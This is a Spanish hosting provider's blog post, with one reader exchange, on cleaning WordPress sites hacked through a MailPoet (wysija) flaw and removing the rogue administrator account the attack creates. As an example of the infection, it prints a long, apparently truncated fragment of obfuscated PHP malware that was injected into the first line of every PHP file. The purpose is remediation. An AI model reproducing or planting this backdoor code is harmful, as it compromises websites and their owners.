Durante el día de hoy, alguno de nuestros clientes se ha encontrado con este problema al acceder a la pestaña de plugins de su wordpress:
se ha desactivado debido a un error: El plugin no tiene una cabecera valida
Este problema desactiva todos los módulos y deja nuestro wordpress roto.
Bien, este error se produce porque nuestro worpress ha sido hackeado, parece ser que el problema viene del plugin MailPoet (wysija), el cual tiene una vulnerabilidad por la cual entran al wordpress y son capaces de inyectar en todas las paginas PHP un código malicioso. Este código se inyecta en la cabecera de las páginas PHP y por esto es el error por el cúal se desactivan todos los plugins. Además crea un usuario en wordpress con permisos de Administrador, al final del articulo vemos como eliminarlo.
La mejor solución es restaurar un backup que tengamos en local y que sepamos que está limpio.
Como esta opción no siempre esta disponible porque no tenemos un backup podemos optar por intentar limpiar el código inyectado en todas las páginas de wordpress. Para este proceso tenemos 2 métodos, uno para el cual necesitamos acceso a la Shell de Linux y el otro que debemos descargar la web y reemplazar el código inyectado. El más cómodo es el método de la shell porque no debemos descargar toda la web pero a la vez es el más complejo, y el otro es con la aplicación DreamWeaver:
Método 1 (SHELL)
Dada la complejidad de este método estamos realizando un manual detallado, ya que un error al ejecutar los scripts necesarios para limpiar el código puede provocar un problema serio en el servidor. Por tanto si eres cliente nuestro abre un ticket al departamento de soporte y nosotros lo solucionamos, sino eres cliente pasa al método 2 o pasa a ser cliente de Hoswedaje 😉
Método 2 (Reemplazo manual de código)
1. Descargar todos los archivos de la web por FTP
2. Eliminar de los archivos descargados la carpeta del plugin wysija (/wp-content/plugins/wysija/)
3. Abrir un archivo .php de la web con la inyección de código.
<?php $zlrwefbuor = '}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#81]y43]78]y33]65]y31]55]y85]82]y76]62824-%x5c%x7824tvctus)%x5c%x7825%c%x7860QIQ&f_UTPI%x5c%x7860QUUI& e_SEEB%x5c%x7860FUPNFS&d_SFSFH*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x78<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x78%x5c%x7825j:,,Bjg!)%x5c%x7825j81]273] y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]224*<!%x5c%x7824-%x5c%x7824gps)%x5%x5c%x7825t::!>!%x5c% x70%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%45:<#64y]552]e7y]#>n%x5c%x7825ubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%%x5c%x787f!|!*uyf u%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSF]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#5-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c %x7825=*h%x5c%x7c%x7825j>1<%x5c%x7825j=tj{<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x 782f20QUUI7:>>1*!%x5c%x7825b:>1<!fmtx5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5x5c%x7824]25%x5c%x7824-%x5c%7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c5 )ppde>u%x5c%x7825V<#65!%x5c%x782f!**#sfmcnbs!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x78642%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%ww**WYsboep n)%x5c%x7825bss-%x5c%x7825r%x5c%x787x5c%x7825tzw>!#]y76]277]y72]265]y39]2)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x78{hnpd#)tutjyf%x5c%x7860oc%x787f;!|!}{;)gj}l; 33bq}k;opjudovg}%x5c%x7878;0]=])0#)U%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x62]47y ]252]18y]#>q%x5fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x782f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5 c%x7827{ftmfV%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c% x782rr.93e:5597f-s.973:8!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<!<12>j%x5c%x7825!|!*#9!%x5c%x7827 {**u%x5c%x78253qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#otn+qsvmt+fmhpph#)zbssb!-#}#)fepmqn275ttfsqnpdov{h1927 5j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%xx7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7+yfeobz+sfwjidsb%x5c%x7860bj+upc81#%x5c%x782f#7e:55946-tr.984:75983: 48984:71]K9]jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN,47R25,d7R17,67R37,#%x5c%x725:-t%x5c%x7825)3of:opjud ovg<~L6M7]D4]275]D:M8]Df#<%x5c%%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%xpjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:,6<*)ujojR%x5c%x7 827id%x5c%x78256<%x5c%x787fw1y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5cet($GLOBALS[" %x61%156%x75%156%x61"])))) { ~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%ussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1%x7825w%x5c%x7860TW~%x5c%x7824<% x5c%x78e%x5c%x78b%x5c%x7825mm)%x7824%x5c%x785c%x5c%x7825j^%x5c%x7297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]864]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x7825+*!*+ fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%xjsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x7825j!%x5c%x782f!#0#)idubn%x5c8B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-827K6<% x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x78255c%x7825w:!>!%x5c%x78246767~6<Cw6<pdc%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x78]y84]275]y83]248]y83]2 56]y81]265]y72]254]y76#<%x5c%x7825tmw!>c%x7825mm!>!#]y81]273]yx5c%x78257%x5c%x782f7#@#7%x52%x66%152%x66%147%x67%74]y85]273]y6g]273]y76w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c% x7825725)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]8c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfv*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&p d%x5c%x7825)!gj}Z;h!opjuOVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%xx3a%146%x21%76%x21%50%x5c%x7825%x5cx78272qj%x5c%x78 256<^#zsfvr#%x5c%x785cq%)utjm!|!*5!%x5c%x78276]258]y6g]273]y76]271**9.-j%x5c%x7825-bubE{h%x5c%x7825)suc%x7824-%x5c%x7824<%x550%x2e%52%x29%57%x65","%x5c%x7824!>!fyqmpef) #%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]515)uqpuft%x5c%x7860msv7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y7pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6%x5c%x7824<!%x5c% x7825o:!>!%x5c%x78242178}5chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2f%GFS%x5c%x7860QUUI&c_UOFHB%x5c%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7%x7878:!>#]y3g]61]y
4. Seleccionar todo el código inyectado (siempre aparece en la primera línea) y copiarlo (control + c)
5. Cerrar el archivo y dejar sólo abierto Dreamweaver
6. Pulsar Control + F
7. Se abrirá esta pantalla.
a. En Carpeta: selecciona la carpeta raíz de tu web descargada
b. En buscar: selecciona “Código fuente”
c. En el segundo campo “buscar” pega el código inyectado
d. Pulsa el botón de la derecha “Reemp. Todos”
e. Acepta el siguiente cuadro que se habrá.
9. Volver a subir todos los archivos a la web
10. Acceder al panel de plugins de tu wordpress y volver a activar los plugins que tenías activos.
Eliminar usuario de la base de datos
Para eliminar el usuario podemos hacerlo mediante el propio admin de wordpress, en Usuarios seleccionamos el usuario nuevo y le damos a borrar
Si tenemos muchos usuarios y no encontramos cual es el que nos han creado nuevo, podemos borrar desde el PHPMyAdmin de una manera más sencilla.
Accedemos a PHPMyAdmin, vamos a la tabla wp-users y seleccionamos el usuario con ID 1001001. Pulsamos en borrar y ya le hemos quitado el acceso.
Buenas, hoy nos ha pasado lo mismo pero no tenemos el plugin MailPoet instalado, ¿tenéis constancia de otros plugins que generen el mismo problema?
Gracias
Hola Luis,
No, no tenemos constancia pero este problema lo puedes encontrar con cualquier plugin.
Te recomiendo que revises los errores de tu cuenta de hosting para ver si te muestra alguna pista, si no ves nada prueba a desactivar plugins hasta que ya no te de el error.
Luego activas todos menos el plugin en cuestión.
Espero que de esta manera lo puedas solucionar, sino tendrás que realizar un estudio más a fondo de los ficheros de wordpress.
Un Saludo.